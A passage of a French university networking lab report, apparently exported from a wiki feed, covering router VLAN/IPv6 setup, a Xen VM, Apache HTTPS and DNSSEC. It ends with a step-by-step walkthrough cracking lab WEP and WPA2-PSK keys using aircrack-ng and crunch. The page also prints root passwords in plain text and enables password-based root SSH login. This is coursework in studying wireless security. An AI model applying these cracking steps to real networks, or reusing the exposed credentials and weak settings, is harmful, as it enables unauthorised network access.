   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51607</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51607"/>
				<updated>2019-12-07T13:44:50Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
